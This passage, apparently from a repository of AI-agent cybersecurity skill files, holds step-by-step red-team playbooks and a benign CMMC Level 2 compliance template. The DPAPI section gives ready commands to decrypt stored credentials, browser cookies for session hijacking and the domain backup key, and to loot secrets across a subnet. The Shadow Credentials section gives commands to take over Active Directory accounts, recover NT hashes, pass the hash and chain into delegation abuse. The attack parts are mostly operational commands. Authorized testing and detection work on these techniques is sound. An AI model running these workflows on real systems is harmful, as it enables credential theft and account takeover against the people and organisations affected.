SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild\ngit clone https://github.com/GhostPack/SharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln /p:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https://github.com/gentilkiwi/mimikatz/releases\n\n# Linux remote/offline triage (Impacket)\npipx install impacket            # provides dpapi.py / impacket-dpapi\npipx install donpapi             # https://github.com/login-securite/DonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage /unprotect\n\n# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current/specified user's master keys with the password\nSharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials/vaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials /target:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ /pvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults /pvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg /unprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass /unprotect\n\n# Certificate private keys (export usable .pem with /showall for all stores)\nSharpDPAPI.exe certificates /unprotect /showall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins /unprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies /target:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" /pvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys /unprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote / Linux-based triage (Impacket / DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |\n| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |\n| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |\n| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |\n| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.\n- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP / KeePass / certificate secrets extracted where present.\n- [ ] Browser logins/cookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.\n","frontmatter":{"name":"abusing-dpapi-for-credential-access","description":"Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","credential-access","dpapi","sharpdpapi","post-exploitation","active-directory","windows","mimikatz"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1555.004"]},"isInternal":false,"tokens":2598,"sizeBytes":10686},{"name":"api-reference.md","path":"skills/abusing-shadow-credentials-for-privesc/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Shadow Credentials Tooling Reference\n\n## pyWhisker (https://github.com/ShutdownRepo/pywhisker)\n\nInvocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]`\n\n| Flag | Meaning |\n|------|---------|\n| `-d DOMAIN` | Target domain (FQDN) |\n| `-u USER` | Controlled username |\n| `-p PASSWORD` | Password |\n| `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |\n| `-H LM:NT` | Pass-the-hash |\n| `--target NAME` | Target user/computer whose attribute is modified |\n| `--action list` | Enumerate existing Key Credentials |\n| `--action add` | Generate key pair, write Key Credential |\n| `--action remove` | Remove one Key Credential by `--device-id` |\n| `--action clear` | Remove all Key Credentials |\n| `--action info` | Show details of a Key Credential |\n| `--filename NAME` | Output PFX/PEM base name |\n| `--export PEM|PFX` | Output format (default PFX) |\n| `--device-id GUID` | Target device for remove/info |\n| `--dc-ip IP` | Domain Controller IP |\n| `--use-ldaps` | Use LDAPS (636) |\n\n### Example\n```bash\npython3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \\\n    --target victim --action add --filename victim_shadow\n```\n\n## Certipy `shadow` (https://github.com/ly4k/Certipy)\n\n| Command | Meaning |\n|---------|---------|\n| `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |\n| `certipy shadow add` | Add Key Credential only |\n| `certipy shadow list` | List Key Credentials |\n| `certipy shadow clear` | Clear Key Credentials |\n| `certipy shadow info` | Show Key Credential info |\n\nKey flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,\n`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.\n\n### Example\n```bash\ncertipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n## PKINITtools (https://github.com/dirkjanm/PKINITtools)\n\n| Script | Purpose |\n|--------|---------|\n| `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |\n| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |\n\n### Example\n```bash\npython3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \\\n    corp.local/victim victim.ccache\nexport KRB5CCNAME=victim.ccache\npython3 getnthash.py -key <AS-REP-KEY> corp.local/victim\n```\n\n## Detection signal\n- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).\n- BloodHound edge: `AddKeyCredentialLink`.\n","isInternal":false,"tokens":746,"sizeBytes":2509},{"name":"standards.md","path":"skills/abusing-shadow-credentials-for-privesc/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/abusing-shadow-credentials-for-privesc/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Standards Mapping — Abusing Shadow Credentials for Privilege Escalation\n\n## MITRE ATT&CK (Enterprise)\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |\n\nReference: https://attack.mitre.org/techniques/T1098/005/\n\nRelated techniques exercised in the chain:\n- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.\n- T1550.003 / T1558 — using the recovered TGT/hash for movement.\n\n## NIST Cybersecurity Framework 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |\n\nReference: https://csrc.nist.gov/projects/cybersecurity-framework\n","isInternal":false,"tokens":280,"sizeBytes":1240},{"name":"SKILL.md","path":"skills/abusing-shadow-credentials-for-privesc/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/abusing-shadow-credentials-for-privesc/SKILL.md","title":"abusing-shadow-credentials-for-privesc","category":"anthropic-skill","format":"markdown","content":"---\nname: abusing-shadow-credentials-for-privesc\ndescription: Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- shadow-credentials\n- pywhisker\n- certipy\n- pkinit\n- key-credential-link\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098.005\n---\n# Abusing Shadow Credentials for Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.\n\n## Overview\n\nThe **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys (\"Key Credentials\") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.\n\nThe technique was published by Elad Shamir (*\"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover\"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).\n\n## When to Use\n\n- When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer\n- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)\n- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)\n- During red-team operations needing account takeover without locking out the legitimate user\n- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry\n\n## Prerequisites\n\n- Authorized engagement scope including AD credential-access techniques\n- Control of a principal with write access to the target's `msDS-KeyCredentialLink`\n- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)\n- Network reachability to LDAP (389/636) and Kerberos (88) on a DC\n- Linux attack host with Python 3.8+; install the tooling:\n  ```bash\n  # pyWhisker (from source)\n  git clone https://github.com/ShutdownRepo/pywhisker\n  cd pywhisker && pip install .\n  # Certipy (integrated shadow attack)\n  pipx install certipy-ad\n  # PKINITtools for manual TGT/NT-hash extraction\n  git clone https://github.com/dirkjanm/PKINITtools\n  ```\n\n## Objectives\n\n- Confirm write access over a target's `msDS-KeyCredentialLink`\n- Generate a key pair and append a Key Credential to the target object\n- Request a TGT for the target via PKINIT using the new key\n- Recover the target's NT hash for pass-the-hash / further movement\n- Clean up the injected Key Credential to restore the object's state\n- Document the ACL path that enabled the attack for remediation\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |\n\n## Workflow\n\n### Step 1: Confirm the write primitive\nList existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"list\"\n```\n\n### Step 2: Add a Shadow Credential with pyWhisker\nGenerate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"add\" --filename victim_shadow\n# Produces victim_shadow.pfx and prints the PFX password\n```\nUse Kerberos auth instead of a password if you only hold a ticket:\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -k --no-pass \\\n    --target \"victim\" --action \"add\" --filename victim_shadow --use-ldaps\n```\n\n### Step 3: Request a TGT via PKINIT\nUse the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.\n\n```bash\npython3 PKINITtools/gettgtpkinit.py \\\n    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \\\n    corp.local/victim victim.ccache\n```\n\n### Step 4: Recover the NT hash\nExtract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).\n\n```bash\nexport KRB5CCNAME=victim.ccache\npython3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim\n# Prints the NT hash for 'victim'\n```\n\n### Step 5: One-shot alternative with Certipy\nCertipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n# For a computer account, use the sAMAccountName with trailing $\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n### Step 6: Use the recovered credential\nAuthenticate with the NT hash (or the TGT) to continue the engagement.\n\n```bash\n# Pass-the-hash with NetExec\nnxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>\n# Or use the TGT directly\nexport KRB5CCNAME=victim.ccache\nnxc smb dc.corp.local -u victim --use-kcache\n```\n\n### Step 7: Chain computer takeover into RBCD (optional)\nWhen the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.\n\n```bash\n# Set RBCD so attacker-controlled SPN can impersonate to WS01$\nimpacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \\\n    -action write 'corp.local/attacker:Passw0rd!'\n```\n\n### Step 8: Clean up\nRemove the injected Key Credential to restore the object and reduce detection footprint.\n\n```bash\n# pyWhisker: remove by device-id (printed during add) or clear all you added\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"remove\" --device-id <DEVICE-ID>\n# Certipy shadow auto cleans up automatically; otherwise:\ncertipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |\n| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |\n| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |\n| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |\n| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |\n\n## Detection and Remediation Notes\n\n| Area | Guidance |\n|------|----------|\n| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |\n| Auditing | Enable directory service object change auditing on user/computer OUs. |\n| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |\n| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |\n\n## Validation Criteria\n\n- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)\n- [ ] Key Credential successfully added (PFX generated)\n- [ ] PKINIT TGT obtained for the target account\n- [ ] Target NT hash recovered and validated against a service\n- [ ] (If computer) RBCD chain or onward movement demonstrated\n- [ ] Injected Key Credential removed / object restored\n- [ ] Enabling ACL path documented with remediation recommendation\n","frontmatter":{"name":"abusing-shadow-credentials-for-privesc","description":"Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","shadow-credentials","pywhisker","certipy","pkinit","key-credential-link","privilege-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-05"],"mitre_attack":["T1098.005"]},"isInternal":false,"tokens":2381,"sizeBytes":9533},{"name":"template.md","path":"skills/achieving-cmmc-level-2-compliance/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/achieving-cmmc-level-2-compliance/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"# CMMC Level 2 Readiness Report — Worked Example\n\n> Filled example for a small DIB manufacturer handling CUI on a segmented enclave.\n> Replace bracketed content for your own organization.\n\n## 1. Applicability & CUI Categories\n- **Contract drivers:** Prime subcontract with DFARS **252.204-7012** and **-7021**; CUI present → **CMMC Level 2** required.\n- **CUI categories (from contract + DoD CUI Registry):** Controlled Technical Information (CTI), Export Controlled (EAR).\n- **Target assessment path:** Triennial **C3PAO** certification (Phase 2 applies from Nov 10, 2026).\n\n## 2. Scope (CMMC Level 2 Scoping Guide)\n| Category | Examples in this environment |\n|---|---|\n| CUI Assets | Engineering workstations, CUI file share, the segmented \"Enclave-1\" VLAN |\n| Security Protection Assets | EDR console, SIEM, firewall, IdP/MFA, jump host |\n| Contractor Risk Managed | General corporate laptops (policy-blocked from CUI) |\n| Specialized Assets | CNC machine controllers (documented, isolated) |\n| Out-of-Scope | Guest Wi-Fi, marketing SaaS |\n\n**Boundary note:** CUI is confined to Enclave-1 behind segmentation and MFA. Deliberately minimized to shrink the assessment surface. See network diagram `CUI-boundary-v3`.\n\n## 3. Control Status by Family (NIST SP 800-171 Rev 2)\n*(summary; full per-requirement status lives in the SSP)*\n\n| Family | Met | Partial | Not Met | N/A |\n|---|---|---|---|---|\n| 3.1 Access Control | 22 | 0 | 0 | 0 |\n| 3.3 Audit & Accountability | 8 | 0 | 1 | 0 |\n| 3.5 Identification & Auth | 10 | 1 | 0 | 0 |\n| 3.8 Media Protection | 8 | 0 | 1 | 0 |\n| 3.13 System & Comms Protection | 15 | 0 | 1 | 0 |\n| 3.14 System & Info Integrity | 6 | 0 | 1 | 0 |\n| *(others)* | all met | — | — | — |\n\n## 4. SPRS Score\n*(computed by `scripts/process.py` from the control-status JSON)*\n\n- **Score: 97 / 110** (started at 110; deducted 13).\n- **Gap to perfect:** 13 points across 4 not-met + 1 partial requirement.\n- **Conditional threshold (≥ 88):** **MET** (margin 9) — eligible for Conditional status *if* the remaining items are POA&M-eligible.\n- **Posted to SPRS:** score, SSP date, and assessment scope.\n\n## 5. POA&M (eligibility-checked)\n| ID | Requirement | Points | Eligibility | Remediation | Owner | Milestone (≤180d) |\n|---|---|---|---|---|---|---|\n| 3.3.1 | Audit log generation/coverage | 5 | **Verify** — high weight; confirm against 32 CFR 170 | Enable full audit policy + ship to SIEM | SecOps | 2026-07-30 |\n| 3.13.11 | FIPS-validated cryptography | 3 | **Verify** eligibility | Replace non-validated module with FIPS 140-validated | Infra | 2026-08-15 |\n| 3.5.3 | MFA (partial) | 3 | Partial-credit control | Extend MFA to remaining admin paths | IAM | 2026-07-20 |\n| 3.8.9 | Backup CUI protection | 1 | Eligible | Encrypt + access-control backup store | Infra | 2026-08-31 |\n| 3.14.1 | Flaw remediation | 1 | Eligible | Formalize patch SLA + tracking | IT | 2026-08-31 |\n\n> The two 3-point and one 5-point items must clear eligibility review; the highest-weighted security requirements generally cannot remain on a POA&M. All items close within **180 days** to convert Conditional → **Final**.\n\n## 6. Assessment Path\n- **Type:** C3PAO certification assessment.\n- **Target window:** Q4 2026, after POA&M closure of the high-weight items.\n- **Affirmation owner:** [senior official] files the annual affirmation in SPRS.\n\n## 7. Remediation Roadmap (sequenced by point value, then effort)\n1. **3.3.1 audit logging (5 pts)** — biggest score lever and likely POA&M-ineligible → do first.\n2. **3.13.11 FIPS crypto (3 pts)** and **3.5.3 MFA gap (3 pts)** — close to remove eligibility risk.\n3. **3.8.9, 3.14.1 (1 pt each)** — low-effort cleanups before the C3PAO date.\n4. Re-run the SPRS calculator after each closure; goal is **110** before assessment.\n","isInternal":false,"tokens":1135,"sizeBytes":3801},{"name":"standards.md","path":"skills/achieving-cmmc-level-2-compliance/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/achieving-cmmc-level-2-compliance/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# CMMC Level 2 — Standards & Reference\n\n## Governing rules\n| Rule | Citation | Status / effective date |\n|---|---|---|\n| CMMC Program rule | 32 CFR Part 170 | Effective **December 16, 2024** |\n| CMMC acquisition rule (DFARS) | 48 CFR; DFARS clause **252.204-7021** (and 204.7503) | Published Sept 10, 2025; effective **November 10, 2025** |\n| Safeguarding CUI / incident reporting | DFARS **252.204-7012** | In effect |\n| NIST 800-171 self-assessment + SPRS posting | DFARS **252.204-7019 / -7020** | In effect |\n\n> Always confirm current status at the source — acquisition rules and phase dates have moved before. Authoritative: https://dodcio.defense.gov/CMMC/ and the eCFR for 32 CFR Part 170.\n\n## Phased rollout (per the acquisition rule)\n| Phase | Begins | What applies |\n|---|---|---|\n| Phase 1 | **Nov 10, 2025** | Level 1 and some Level 2 **self-assessment** required in solicitations |\n| Phase 2 | **Nov 10, 2026** | Level 2 **C3PAO certification** required for applicable contracts |\n| Phase 3 | **Nov 10, 2027** | Level 2 C3PAO + Level 3 **DIBCAC** assessment phased in |\n| Phase 4 | **Nov 10, 2028** | Full implementation across applicable DoD contracts |\n\n## The three CMMC levels\n| Level | Protects | Requirements | Assessment |\n|---|---|---|---|\n| Level 1 | FCI | 15 requirements (FAR 52.204-21) | Annual self-assessment + affirmation |\n| Level 2 | CUI | **110 requirements (NIST SP 800-171 Rev 2)** | Self **or** triennial C3PAO certification |\n| Level 3 | CUI (high priority) | 110 + selected **SP 800-172** enhanced | DoD (DIBCAC) assessment |\n\nCertification validity: **3 years**, with **annual affirmation** by a senior official in SPRS.\n\n## NIST SP 800-171 Rev 2 — the 14 families (110 requirements)\n| § | Family | # reqs |\n|---|---|---|\n| 3.1 | Access Control | 22 |\n| 3.2 | Awareness and Training | 3 |\n| 3.3 | Audit and Accountability | 9 |\n| 3.4 | Configuration Management | 9 |\n| 3.5 | Identification and Authentication | 11 |\n| 3.6 | Incident Response | 3 |\n| 3.7 | Maintenance | 6 |\n| 3.8 | Media Protection | 9 |\n| 3.9 | Personnel Security | 2 |\n| 3.10 | Physical Protection | 6 |\n| 3.11 | Risk Assessment | 3 |\n| 3.12 | Security Assessment | 4 |\n| 3.13 | System and Communications Protection | 16 |\n| 3.14 | System and Information Integrity | 7 |\n| | **Total** | **110** |\n\n(Assessment objectives for each requirement are in **NIST SP 800-171A**.)\n\n## DoD Assessment Methodology — SPRS scoring\n- Start at **110**. Subtract the weighted value of each **NOT MET** requirement.\n- Weights: **1, 3, or 5 points**. The most security-significant requirements are weighted 3 or 5.\n- **Partial credit** applies to a small number of requirements (notably MFA at 3.5.3 and FIPS-validated cryptography at 3.13.11) where partial implementation reduces the deduction.\n- Maximum score **110**; the methodology floor is **−203** (more is deducted than the 110 starting points because of the weighting).\n- The complete per-requirement point assignment is published in the **DoD NIST SP 800-171 Assessment Methodology** — use that document for the authoritative weight of each control rather than estimating.\n\n## POA&M rules under the CMMC rule (32 CFR Part 170)\n- A **Conditional** Level 2 status is allowed only if the assessment score is **at least 80% (≥ 88 of 110)**.\n- Only **POA&M-eligible** requirements may be deferred. The highest-weighted security requirements generally **must be fully met** and **cannot** sit on a POA&M — verify each item's eligibility against the rule.\n- All POA&M items must be **closed within 180 days**; a closeout assessment then converts **Conditional → Final**.\n\n## Scoping categories (CMMC Level 2 Scoping Guide)\n| Category | Treatment |\n|---|---|\n| CUI Assets | Process/store/transmit CUI — assessed against applicable requirements. |\n| Security Protection Assets | Provide security to the CUI environment — in scope. |\n| Contractor Risk Managed Assets | Capable of handling CUI but not intended to — managed by policy/config. |\n| Specialized Assets | IoT/OT, GFE, test equipment — documented, limited assessment. |\n| Out-of-Scope Assets | Isolated from CUI — not assessed. |\n\n## External Service Providers / cloud\n- Cloud services that store/process/transmit CUI must be **FedRAMP Moderate authorized or meet FedRAMP Moderate equivalency**.\n- Document the customer/provider responsibility split (CRM) and inherited controls in the SSP.\n\n## NIST CSF 2.0 alignment\n| CSF 2.0 ID | Relevance |\n|---|---|\n| GV.OC-03 | Legal/regulatory (DFARS/CMMC) requirements understood. |\n| GV.SC-01 | Supply-chain risk management — flowdown to subs / ESPs. |\n| ID.AM-08 | Assets managed across the lifecycle (scoping). |\n| ID.RA-05 | Risk informs prioritization of unmet requirements. |\n| PR.AA-01 | Identity and access (3.1 / 3.5 families). |\n| PR.DS-01 | Data-at-rest protection (FIPS crypto, media protection). |\n","isInternal":false,"tokens":1363,"sizeBytes":4882},{"name":"SKILL.md","path":"skills/achieving-cmmc-level-2-compliance/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/achieving-cmmc-level-2-compliance/SKILL.md","title":"achieving-cmmc-level-2-compliance","category":"anthropic-skill","format":"markdown","content":"---\nname: achieving-cmmc-level-2-compliance\ndescription: >-\n  Prepare a defense-contractor environment for CMMC Level 2 certification: scope 